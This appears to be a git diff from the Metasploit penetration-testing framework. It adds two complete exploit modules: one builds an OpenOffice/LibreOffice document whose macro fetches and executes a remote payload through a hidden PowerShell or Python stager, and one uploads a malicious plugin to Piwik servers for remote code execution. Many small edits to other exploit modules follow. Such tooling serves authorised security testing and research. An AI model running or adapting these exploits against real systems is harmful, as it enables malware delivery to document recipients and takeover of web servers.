<< %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9 + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@56c6add5 + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[])).| # parse failed + #ognl << %q|(#m=#c.getMethod('main',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@1722884 + +=end diff --git a/modules/exploits/multi/http/tomcat_mgr_upload.rb b/modules/exploits/multi/http/tomcat_mgr_upload.rb index a46b62a490..19afb97279 100644 --- a/modules/exploits/multi/http/tomcat_mgr_upload.rb +++ b/modules/exploits/multi/http/tomcat_mgr_upload.rb @@ -419,7 +419,7 @@ class MetasploitModule < Msf::Exploit::Remote origin_type: :service, module_fullname: self.fullname, private_type: :password, - private_data: datastore['HttpPassword'].downcase, + private_data: datastore['HttpPassword'], username: datastore['HttpUsername'] } diff --git a/modules/exploits/multi/local/allwinner_backdoor.rb b/modules/exploits/multi/local/allwinner_backdoor.rb index b37ff74a0d..52cc1e182f 100644 --- a/modules/exploits/multi/local/allwinner_backdoor.rb +++ b/modules/exploits/multi/local/allwinner_backdoor.rb @@ -41,6 +41,7 @@ class MetasploitModule < Msf::Exploit::Local "Arch" => ARCH_ARMLE, "References" => [ + [ "CVE", "2016-10225" ], [ "URL", "http://forum.armbian.com/index.php/topic/1108-security-alert-for-allwinner-sun8i-h3a83th8/"], [ "URL", "https://webcache.googleusercontent.com/search?q=cache:l2QYVUcDflkJ:" \ "https://github.com/allwinner-zh/linux-3.4-sunxi/blob/master/arch/arm/mach-sunxi/sunxi-debug.c+&cd=3&hl=en&ct=clnk&gl=us"], diff --git a/modules/exploits/multi/misc/openoffice_document_macro.rb b/modules/exploits/multi/misc/openoffice_document_macro.rb new file mode 100644 index 0000000000..23c4a95ecc --- /dev/null +++ b/modules/exploits/multi/misc/openoffice_document_macro.rb @@ -0,0 +1,214 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/zip' +require 'cgi' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Powershell + include Msf::Exploit::Remote::HttpServer + + WINDOWSGUI = 'windows' + OSXGUI = 'osx' + LINUXGUI = 'linux' + + def initialize(info={}) + super(update_info(info, + 'Name' => "Apache OpenOffice Text Document Malicious Macro Execution", + 'Description' => %q{ + This module generates an Apache OpenOffice Text Document with a malicious macro in it. + To exploit successfully, the targeted user must adjust the security level in Macro + Security to either Medium or Low. If set to Medium, a prompt is presented to the user + to enable or disable the macro. If set to Low, the macro can automatically run without + any warning. + + The module also works against LibreOffice. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'sinn3r' # Metasploit + ], + 'References' => + [ + ['URL', 'https://en.wikipedia.org/wiki/Macro_virus'] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'DisablePayloadHandler' => false + }, + 'Targets' => + [ + [ + 'Apache OpenOffice on Windows (PSH)', { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64] + }], + [ + 'Apache OpenOffice on Linux/OSX (Python)', { + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON + }] + ], + 'Privileged' => false, + 'DisclosureDate' => "Feb 8 2017" + )) + + register_options([ + OptString.new("BODY", [false, 'The message for the document body', '']), + OptString.new('FILENAME', [true, 'The OpoenOffice Text document name', 'msf.odt']) + ], self.class) + end + + + def on_request_uri(cli, req) + print_status("Sending payload") + + if target.name =~ /PSH/ + p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true) + else + p = payload.encoded + end + + send_response(cli, p, 'Content-Type' => 'application/octet-stream') + end + + + def primer + print_status("Generating our odt file for #{target.name}...") + path = File.join(Msf::Config.install_root, 'data', 'exploits', 'openoffice_document_macro') + docm = package_odt(path) + file_create(docm) + end + + + def get_windows_stager + %Q|Shell("cmd.exe /C ""#{generate_psh_stager}""")| + end + + + def get_unix_stager + %Q|Shell("#{generate_python_stager}")| + end + + + def generate_psh_stager + @windows_psh_stager ||= lambda { + ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl + download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri) + download_and_run = "#{ignore_cert}#{download_string}" + generate_psh_command_line( + noprofile: true, + windowstyle: 'hidden', + command: download_and_run) + }.call + end + + + def generate_python_stager + @python_stager ||= lambda { + %Q|python -c ""import urllib2; r = urllib2.urlopen('#{get_uri}'); exec(r.read());""| + }.call + end + + + def get_statger + case target.name + when /PSH/ + get_windows_stager + when /Python/ + get_unix_stager + end + end + + + # This macro code has the following in mind: + # 1. It checks the platform to eliminate less misfires. Since we have only tested on Windows/Linux/OSX, + # we only want to fire at those. + # 2. Originally, I tried to embed the payload in the macro code, write it out and then execute it. + # This turned out to be problematic, because for some reason OpenOffice is not able to + # write a large string to a file (I've tried either shell("echo") or using the macro API). + # The stager code is similar to web_delivery. + def macro_code + CGI.escapeHTML(%Q| + Sub OnLoad + Dim os as string + os = GetOS + If os = "#{WINDOWSGUI}" OR os = "#{OSXGUI}" OR os = "#{LINUXGUI}" Then + Exploit + end If + End Sub + + Sub Exploit + #{get_statger} + End Sub + + Function GetOS() as string + select case getGUIType + case 1: + GetOS = "#{WINDOWSGUI}" + case 3: + GetOS = "#{OSXGUI}" + case 4: + GetOS = "#{LINUXGUI}" + end select + End Function + + Function GetExtName() as string + select case GetOS + case "#{WINDOWSGUI}" + GetFileName = "exe" + case else + GetFileName = "bin" + end select + End Function + |) + end + + def on_file_read(short_fname, full_fname) + buf = File.read(full_fname) + + case short_fname + when /content\.xml/ + buf.gsub!(/DOCBODYGOESHER/, datastore['BODY']) + when /Module1\.xml/ + buf.gsub!(/CODEGOESHERE/, macro_code) + end + + yield short_fname, buf + end + + + def package_odt(path) + zip = Rex::Zip::Archive.new + + Dir["#{path}/**/**"].each do |file| + p = file.sub(path+'/','') + + if File.directory?(file) + print_status("Packaging directory: #{file}") + zip.add_file(p) + else + on_file_read(p, file) do |fname, buf| + print_status("Packaging file: #{fname}") + zip.add_file(fname, buf) + end + end + end + + zip.pack + end + + + def exploit + super + end + +end diff --git a/modules/exploits/unix/webapp/piwik_superuser_plugin_upload.rb b/modules/exploits/unix/webapp/piwik_superuser_plugin_upload.rb new file mode 100644 index 0000000000..3d0f212400 --- /dev/null +++ b/modules/exploits/unix/webapp/piwik_superuser_plugin_upload.rb @@ -0,0 +1,365 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/zip' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Piwik Superuser Plugin Upload', + 'Description' => %q{ + This module will generate a plugin, pack the payload into it + and upload it to a server running Piwik. Superuser Credentials are + required to run this module. This module does not work against Piwik 1 + as there is no option to upload custom plugins. + Tested with Piwik 2.14.0, 2.16.0, 2.17.1 and 3.0.1. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'FireFart' # Metasploit module + ], + 'References' => + [ + [ 'URL', 'https://firefart.at/post/turning_piwik_superuser_creds_into_rce/' ] + ], + 'DisclosureDate' => 'Feb 05 2017', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['Piwik', {}]], + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI path of the Piwik installation', '/']), + OptString.new('USERNAME', [true, 'The Piwik username to authenticate with']), + OptString.new('PASSWORD', [true, 'The Piwik password to authenticate with']) + ], self.class) + end + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + + def normalized_index + normalize_uri(target_uri, 'index.php') + end + + def get_piwik_version(login_cookies) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index, + 'cookie' => login_cookies, + 'vars_get' => { + 'module' => 'Feedback', + 'action' => 'index', + 'idSite' => '1', + 'period' => 'day', + 'date' => 'yesterday' + } + }) + + piwik_version_regexes = [ + /About Piwik ([\w\.]+) -/, + /content-title="About Piwik ([\w\.]+)"/, + /About Piwik ([\w\.]+)/m + ] + + if res && res.code == 200 + for r in piwik_version_regexes + match = res.body.match(r) + if match + return match[1] + end + end + end + + # check for Piwik version 1 + # the logo.svg is only available in version 1 + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri, 'themes', 'default', 'images', 'logo.svg') + }) + if res && res.code == 200 && res.body =~ / 'GET', + 'uri' => normalized_index, + 'cookie' => login_cookies, + 'vars_get' => { + 'module' => 'Installation', + 'action' => 'systemCheckPage' + } + }) + + if res && res.body =~ /You can't access this resource as it requires a 'superuser' access/ + return false + elsif res && res.body =~ /id="systemCheckRequired"/ + return true + else + return false + end + end + + def generate_plugin(plugin_name) + plugin_json = %Q|{ + "name": "#{plugin_name}", + "description": "#{plugin_name}", + "version": "#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}", + "theme": false + }| + + plugin_script = %Q| 'GET', + 'uri' => normalized_index + }) + if res && res.code == 200 && res.body =~ / 'GET', + 'uri' => normalized_index, + 'vars_get' => { + 'module' => 'Login', + 'action' => 'index' + } + }) + + login_nonce = nil + if res && res.code == 200 + match = res.body.match(/name="form_nonce" id="login_form_nonce" value="(\w+)"\/>/) + if match + login_nonce = match[1] + end + end + fail_with(Failure::UnexpectedReply, 'Can not extract login CSRF token') if login_nonce.nil? + + cookies = res.get_cookies + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalized_index, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'Login', + 'action' => 'index' + }, + 'vars_post' => { + 'form_login' => "#{username}", + 'form_password' => "#{password}", + 'form_nonce' => "#{login_nonce}" + } + }) + + if res && res.redirect? && res.redirection + # update cookies + cookies = res.get_cookies + else + # failed login responds with code 200 and renders the login form + fail_with(Failure::NoAccess, 'Failed to authenticate with Piwik') + end + print_good('Authenticated with Piwik') + + print_status("Checking if user #{username} has superuser access") + superuser = is_superuser?(cookies) + if superuser + print_good("User #{username} has superuser access") + else + fail_with(Failure::NoAccess, "Looks like user #{username} has no superuser access") + end + + print_status('Trying to get Piwik version') + piwik_version = get_piwik_version(cookies) + if piwik_version.nil? + print_warning('Unable to detect Piwik version. Trying to continue.') + else + print_good("Detected Piwik version #{piwik_version}") + end + + if piwik_version == '1.x' + fail_with(Failure::NoTarget, 'Piwik version 1 is not supported by this module') + end + + # Only versions after 3 have a seperate Marketplace plugin + if piwik_version && Gem::Version.new(piwik_version) >= Gem::Version.new('3') + marketplace_available = true + else + marketplace_available = false + end + + if marketplace_available + print_status("Checking if Marketplace plugin is active") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'Marketplace', + 'action' => 'index' + } + }) + fail_with(Failure::UnexpectedReply, 'Can not check for Marketplace plugin') unless res + if res.code == 200 && res.body =~ /The plugin Marketplace is not enabled/ + print_status('Marketplace plugin is not enabled, trying to enable it') + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'CorePluginsAdmin', + 'action' => 'plugins' + } + }) + mp_activate_nonce = nil + if res && res.code == 200 + match = res.body.match(//) + if match + mp_activate_nonce = match[1] + end + end + fail_with(Failure::UnexpectedReply, 'Can not extract Marketplace activate CSRF token') unless mp_activate_nonce + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'CorePluginsAdmin', + 'action' => 'activate', + 'pluginName' => 'Marketplace', + 'nonce' => "#{mp_activate_nonce}" + } + }) + if res && res.redirect? + print_good('Marketplace plugin enabled') + else + fail_with(Failure::UnexpectedReply, 'Can not enable Marketplace plugin. Please try to manually enable it.') + end + else + print_good('Seems like the Marketplace plugin is already enabled') + end + end + + print_status('Generating plugin') + plugin_name = Rex::Text.rand_text_alpha(10) + zip = generate_plugin(plugin_name) + print_good("Plugin #{plugin_name} generated") + + print_status('Uploading plugin') + + # newer Piwik versions have a seperate Marketplace plugin + if marketplace_available + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'Marketplace', + 'action' => 'overview' + } + }) + else + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'CorePluginsAdmin', + 'action' => 'marketplace' + } + }) + end + + upload_nonce = nil + if res && res.code == 200 + match = res.body.match(/ 'POST', + 'uri' => normalized_index, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data.to_s, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'CorePluginsAdmin', + 'action' => 'uploadPlugin', + 'nonce' => "#{upload_nonce}" + } + ) + activate_nonce = nil + if res && res.code == 200 + match = res.body.match(/ 'GET', + 'uri' => normalized_index, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'CorePluginsAdmin', + 'action' => 'activate', + 'nonce' => "#{activate_nonce}", + 'pluginName' => "#{plugin_name}" + } + }, 5) + end +end + diff --git a/modules/exploits/windows/browser/adobe_cooltype_sing.rb b/modules/exploits/windows/browser/adobe_cooltype_sing.rb index 39112c8f94..ee0bd5ed76 100644 --- a/modules/exploits/windows/browser/adobe_cooltype_sing.rb +++ b/modules/exploits/windows/browser/adobe_cooltype_sing.rb @@ -38,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Remote 'EXITFUNC' => 'process', 'HTTP::compression' => 'gzip', 'HTTP::chunked' => true, - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/adobe_flash_avm2.rb b/modules/exploits/windows/browser/adobe_flash_avm2.rb index 20550092a5..89371513f5 100644 --- a/modules/exploits/windows/browser/adobe_flash_avm2.rb +++ b/modules/exploits/windows/browser/adobe_flash_avm2.rb @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'Retries' => false }, 'Platform' => 'win', diff --git a/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb b/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb index 7d18fb3de6..4630fa186b 100644 --- a/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb +++ b/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'Retries' => false, 'EXITFUNC' => "thread" }, diff --git a/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb b/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb index 3e0b780952..4574cbf54b 100644 --- a/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb +++ b/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb @@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/adobe_flash_otf_font.rb b/modules/exploits/windows/browser/adobe_flash_otf_font.rb index 4f831045aa..14e13e7d70 100644 --- a/modules/exploits/windows/browser/adobe_flash_otf_font.rb +++ b/modules/exploits/windows/browser/adobe_flash_otf_font.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/adobe_flash_regex_value.rb b/modules/exploits/windows/browser/adobe_flash_regex_value.rb index 3d5fea3c40..d9586cbf27 100644 --- a/modules/exploits/windows/browser/adobe_flash_regex_value.rb +++ b/modules/exploits/windows/browser/adobe_flash_regex_value.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'Retries' => false }, 'Platform' => 'win', diff --git a/modules/exploits/windows/browser/adobe_flash_rtmp.rb b/modules/exploits/windows/browser/adobe_flash_rtmp.rb index 84bc9cf971..37ea120c5a 100644 --- a/modules/exploits/windows/browser/adobe_flash_rtmp.rb +++ b/modules/exploits/windows/browser/adobe_flash_rtmp.rb @@ -59,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/adobe_flash_sps.rb b/modules/exploits/windows/browser/adobe_flash_sps.rb index b2d3ce686c..d87f5ffc0e 100644 --- a/modules/exploits/windows/browser/adobe_flash_sps.rb +++ b/modules/exploits/windows/browser/adobe_flash_sps.rb @@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "seh", - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb b/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb index 3c0a8c62b0..b74acc6da8 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote 'EXITFUNC' => 'process', 'HTTP::compression' => 'gzip', 'HTTP::chunked' => true, - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/adobe_flashplayer_avm.rb b/modules/exploits/windows/browser/adobe_flashplayer_avm.rb index b20663ea80..9f12cf5b73 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_avm.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_avm.rb @@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote 'EXITFUNC' => 'process', 'HTTP::compression' => 'gzip', 'HTTP::chunked' => true, - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb b/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb index cab570badc..1df3b951d3 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb @@ -46,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "process", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb b/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb index 325a1669b1..bbb6dc6312 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb @@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote 'EXITFUNC' => 'process', 'HTTP::compression' => 'gzip', 'HTTP::chunked' => true, - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb b/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb index d27e4c3fdd..ff232b7c98 100644 --- a/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb +++ b/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb @@ -28,7 +28,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb b/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb index 6e83a0298d..3c521b78fa 100644 --- a/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb +++ b/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb @@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'Retries' => false, - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'BrowserRequirements' => { diff --git a/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb b/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb index ab8329aab8..56e2aa86f0 100644 --- a/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb +++ b/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'BrowserRequirements' => diff --git a/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb b/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb index 7432c5f21f..db438aa329 100644 --- a/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb +++ b/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb @@ -50,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/apple_quicktime_mime_type.rb b/modules/exploits/windows/browser/apple_quicktime_mime_type.rb index da040e12fd..b9090e0eb1 100644 --- a/modules/exploits/windows/browser/apple_quicktime_mime_type.rb +++ b/modules/exploits/windows/browser/apple_quicktime_mime_type.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/apple_quicktime_rdrf.rb b/modules/exploits/windows/browser/apple_quicktime_rdrf.rb index c7f952df5b..c96a2f1133 100644 --- a/modules/exploits/windows/browser/apple_quicktime_rdrf.rb +++ b/modules/exploits/windows/browser/apple_quicktime_rdrf.rb @@ -53,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Privileged' => false, 'DisclosureDate' => "May 22 2013" diff --git a/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb b/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb index 0e8c2c5918..c3c7b99591 100644 --- a/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb +++ b/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb @@ -44,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb b/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb index ec9ff0db78..fad9da943f 100644 --- a/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb +++ b/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb @@ -46,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb b/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb index 19c103ab84..39ab4c48ff 100644 --- a/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb +++ b/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "seh", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/aventail_epi_activex.rb b/modules/exploits/windows/browser/aventail_epi_activex.rb index 29a01fdafe..fb643ab937 100644 --- a/modules/exploits/windows/browser/aventail_epi_activex.rb +++ b/modules/exploits/windows/browser/aventail_epi_activex.rb @@ -49,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb b/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb index f883eb72e4..9264fdf53f 100644 --- a/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb +++ b/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb @@ -50,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb b/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb index 9936fc912d..5a80c34faf 100644 --- a/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb +++ b/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb @@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "none", - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/cisco_playerpt_setsource.rb b/modules/exploits/windows/browser/cisco_playerpt_setsource.rb index 5b35ecdef3..d24e3c83b8 100644 --- a/modules/exploits/windows/browser/cisco_playerpt_setsource.rb +++ b/modules/exploits/windows/browser/cisco_playerpt_setsource.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb b/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb index 199c27944b..b993fccb3d 100644 --- a/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb +++ b/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb @@ -52,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/citrix_gateway_actx.rb b/modules/exploits/windows/browser/citrix_gateway_actx.rb index 58182c0a10..cb68bd0b8a 100644 --- a/modules/exploits/windows/browser/citrix_gateway_actx.rb +++ b/modules/exploits/windows/browser/citrix_gateway_actx.rb @@ -38,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/clear_quest_cqole.rb b/modules/exploits/windows/browser/clear_quest_cqole.rb index affe99692b..99619cbf7d 100644 --- a/modules/exploits/windows/browser/clear_quest_cqole.rb +++ b/modules/exploits/windows/browser/clear_quest_cqole.rb @@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/crystal_reports_printcontrol.rb b/modules/exploits/windows/browser/crystal_reports_printcontrol.rb index 44636c8495..bb65ed47cb 100644 --- a/modules/exploits/windows/browser/crystal_reports_printcontrol.rb +++ b/modules/exploits/windows/browser/crystal_reports_printcontrol.rb @@ -58,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 